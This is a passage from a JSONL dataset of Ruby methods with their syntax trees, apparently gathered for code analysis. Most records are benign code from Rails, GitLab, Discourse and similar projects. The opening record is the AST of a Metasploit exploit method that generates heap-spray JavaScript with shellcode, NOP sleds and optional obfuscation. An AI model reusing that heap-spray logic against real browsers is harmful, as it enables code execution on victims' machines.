children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_random_nops\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"randnop\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      function randomblock(blocksize)\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"        var theblock = \\\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"        for (var i = 0; i < blocksize; i++)\\n\"]},{\"type\":\"str\",\"children\":[\"        {\\n\"]},{\"type\":\"str\",\"children\":[\"          theblock += Math.floor(Math.random()*90)+10;\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"        return theblock;\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      function tounescape(block)\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"        var blocklen = block.length;\\n\"]},{\"type\":\"str\",\"children\":[\"        var unescapestr = \\\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"        for (var i = 0; i < blocklen-1; i=i+4)\\n\"]},{\"type\":\"str\",\"children\":[\"        {\\n\"]},{\"type\":\"str\",\"children\":[\"          unescapestr += \\\"%u\\\" + block.substring(i,i+4);\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"        return unescapestr;\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var heap_obj = new heapLib.ie(0x10000);\\n\"]},{\"type\":\"str\",\"children\":[\"      var code = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_random_nops\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"      var nops = unescape(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"      while (nops.length < 0x80000) nops += nops;\\n\"]},{\"type\":\"str\",\"children\":[\"      var offset_length = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"      for (var i=0; i < 0x1000; i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"        var padding = unescape(tounescape(randomblock(0x1000)));\\n\"]},{\"type\":\"str\",\"children\":[\"        while (padding.length < 0x1000) padding+= padding;\\n\"]},{\"type\":\"str\",\"children\":[\"        var junk_offset = padding.substring(0, offset_length);\\n\"]},{\"type\":\"str\",\"children\":[\"        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);\\n\"]},{\"type\":\"str\",\"children\":[\"        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;\\n\"]},{\"type\":\"str\",\"children\":[\"        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);\\n\"]},{\"type\":\"str\",\"children\":[\"        heap_obj.alloc(sprayblock);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var heap_obj = new heapLib.ie(0x20000);\\n\"]},{\"type\":\"str\",\"children\":[\"      var code = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_code\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js_nops\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"      var nops = unescape(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"randnop\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"      while (nops.length < 0x80000) nops += nops;\\n\"]},{\"type\":\"str\",\"children\":[\"      var offset = nops.substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\\n\"]},{\"type\":\"str\",\"children\":[\"      while (shellcode.length < 0x40000) shellcode += shellcode;\\n\"]},{\"type\":\"str\",\"children\":[\"      var block = shellcode.substring(0, (0x80000-6)/2);\\n\"]},{\"type\":\"str\",\"children\":[\"      heap_obj.gc();\\n\"]},{\"type\":\"str\",\"children\":[\"      for (var i=1; i < 0x300; i++) {\\n\"]},{\"type\":\"str\",\"children\":[\"        heap_obj.alloc(block);\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"heaplib\",{\"type\":\"lvar\",\"children\":[\"js\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noobfu\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"JSObfu\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]},\"obfuscate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"memory_sensitive\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}]}","id":"7ae57e96-6e8c-457b-a794-1aa0bd74bc98"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/pajamas/empty_state_component_spec.rb","start_line":100,"raw_source":"def find_section\n    page.find('section')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_section\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"section\"]}]}]}","id":"b470dc13-bd81-46fa-84f5-6d7a7b817ce1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/client.rb","start_line":1244,"raw_source":"def open(filename, mode = 0x12, access = 0x42, do_recv = true)\n\n    pkt = CONST::SMB_OPEN_PKT.make_struct\n    self.smb_defaults(pkt['Payload']['SMB'])\n\n    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_OPEN_ANDX\n    pkt['Payload']['SMB'].v['Flags1'] = 0x18\n    if self.require_signing\n      #ascii\n      pkt['Payload']['SMB'].v['Flags2'] = 0x2807\n    else\n      #ascii\n      pkt['Payload']['SMB'].v['Flags2'] =  0x2801\n    end\n\n    pkt['Payload']['SMB'].v['WordCount'] = 15\n\n    pkt['Payload'].v['AndX'] = 255\n    pkt['Payload'].v['Access'] = access\n    pkt['Payload'].v['SearchAttributes'] = 0x06\n    pkt['Payload'].v['OpenFunction'] = mode\n    pkt['Payload'].v['Payload'] = filename + \"\\x00\"\n\n    ret = self.smb_send(pkt.to_s)\n    return ret if not do_recv\n\n    ack = self.smb_recv_parse(CONST::SMB_COM_OPEN_ANDX)\n\n    # Save off the FileID\n    if (ack['Payload'].v['FileID'] > 0)\n      self.last_file_id = ack['Payload'].v['FileID']\n    end\n\n    return ack\n  end","complexity_score":71.85,"ast_json":"{\"type\":\"def\",\"children\":[\"open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"mode\",{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"optarg\",\"children\":[\"access\",{\"type\":\"int\",\"children\":[66]}]},{\"type\":\"optarg\",\"children\":[\"do_recv\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_OPEN_PKT\"]},\"make_struct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"smb_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Command\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_COM_OPEN_ANDX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags1\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"require_signing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags2\"]},{\"type\":\"int\",\"children\":[10247]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags2\"]},{\"type\":\"int\",\"children\":[10241]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WordCount\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"AndX\"]},{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Access\"]},{\"type\":\"lvar\",\"children\":[\"access\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SearchAttributes\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"OpenFunction\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"smb_send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"do_recv\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ack\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"smb_recv_parse\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONST\"]},\"SMB_COM_OPEN_ANDX\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ack\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FileID\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_file_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ack\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"v\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FileID\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ack\"]}]}]}]}","id":"f3698959-7255-4aa1-9192-60da09b65392"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/relations/relation_representer.rb","start_line":107,"raw_source":"def manage_relations?\n          current_user.allowed_in_work_package?(:manage_work_package_relations, represented.from)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"manage_relations?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"allowed_in_work_package?\",{\"type\":\"sym\",\"children\":[\"manage_work_package_relations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"from\"]}]}]}","id":"f6f3d6be-7681-484e-a739-282bd73d0189"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/lithium.rb","start_line":1087,"raw_source":"def html_for_attachments(user_id, files)\n    html = +\"\"\n\n    files.each do |file|\n      upload, filename = find_upload(user_id, file[\"attachment_id\"], file[\"file_name\"])\n      if upload.present?\n        html << \"\\n\" if html.present?\n        html << html_for_upload(upload, filename)\n      end\n    end\n\n    html\n  end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"html_for_attachments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload\"]},{\"type\":\"lvasgn\",\"children\":[\"filename\"]}]},{\"type\":\"send\",\"children\":[null,\"find_upload\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"str\",\"children\":[\"attachment_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"html_for_upload\",{\"type\":\"lvar\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}","id":"a7181bbd-6d1d-4974-8492-3f1edbf15f03"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":1320,"raw_source":"def test_fixture_file_upload\n    post \"/test_file_upload\",\n      params: {\n        file: fixture_file_upload(\"/ruby_on_rails.jpg\", \"image/jpeg\")\n      }\n    assert_equal \"45142\", @response.body\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fixture_file_upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"str\",\"children\":[\"/test_file_upload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[null,\"fixture_file_upload\",{\"type\":\"str\",\"children\":[\"/ruby_on_rails.jpg\"]},{\"type\":\"str\",\"children\":[\"image/jpeg\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"45142\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"84df0a20-d411-49ef-973e-5a4a5df3ac38"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/test_null_inflector.rb","start_line":6,"raw_source":"def camelize(str)\n    Zeitwerk::NullInflector.new.camelize(str, nil)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"camelize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"NullInflector\"]},\"new\"]},\"camelize\",{\"type\":\"lvar\",\"children\":[\"str\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"29d2a803-9ecd-4f5d-b75c-439f61b94db9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/workhorse_helper_spec.rb","start_line":114,"raw_source":"def decode_workhorse_header(value)\n    command, encoded_params = value.split(\":\")\n    params = Gitlab::Json.parse(Base64.urlsafe_decode64(encoded_params))\n\n    [command, params]\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_workhorse_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},{\"type\":\"lvasgn\",\"children\":[\"encoded_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"urlsafe_decode64\",{\"type\":\"lvar\",\"children\":[\"encoded_params\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"e4cfe8aa-7180-439e-a31d-cb16ba3d08b8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/float_strategy.rb","start_line":46,"raw_source":"def validate_type_of_value\n    Kernel.Float(value)\n    nil\n  rescue StandardError\n    :not_a_number\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_type_of_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"Float\",{\"type\":\"send\",\"children\":[null,\"value\"]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"sym\",\"children\":[\"not_a_number\"]}]},null]}]}","id":"7497688e-1e0d-43ac-911d-6c075569bb51"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/message_reactor.rb","start_line":62,"raw_source":"def validate_max_reactions!(message, react_action, emoji)\n      if react_action == ADD_REACTION &&\n           message.reactions.count(\"DISTINCT emoji\") >= MAX_REACTIONS_LIMIT &&\n           !message.reactions.exists?(emoji: emoji)\n        raise Discourse::InvalidAccess.new(\n                nil,\n                nil,\n                custom_message: \"chat.errors.max_reactions_limit_reached\",\n              )\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_max_reactions!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"react_action\"]},{\"type\":\"arg\",\"children\":[\"emoji\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"react_action\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ADD_REACTION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"reactions\"]},\"count\",{\"type\":\"str\",\"children\":[\"DISTINCT emoji\"]}]},\">=\",{\"type\":\"const\",\"children\":[null,\"MAX_REACTIONS_LIMIT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"reactions\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emoji\"]},{\"type\":\"lvar\",\"children\":[\"emoji\"]}]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_message\"]},{\"type\":\"str\",\"children\":[\"chat.errors.max_reactions_limit_reached\"]}]}]}]}]},null]}]}","id":"e22caaae-197e-4ddf-a0da-cedbc7ebdb68"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/import_export.rb","start_line":14,"raw_source":"def resolve_view_path(file_name, file_name_no_suffix = nil)\n      view_paths.each do |path|\n        full_path = File.join(path, file_name)\n        return full_path if File.exist?(full_path)\n\n        if file_name_no_suffix\n          full_path_no_suffix = File.join(path, file_name_no_suffix)\n          return full_path_no_suffix if File.exist?(full_path_no_suffix)\n        end\n      end\n      nil\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_view_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"optarg\",\"children\":[\"file_name_no_suffix\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"view_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name_no_suffix\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path_no_suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\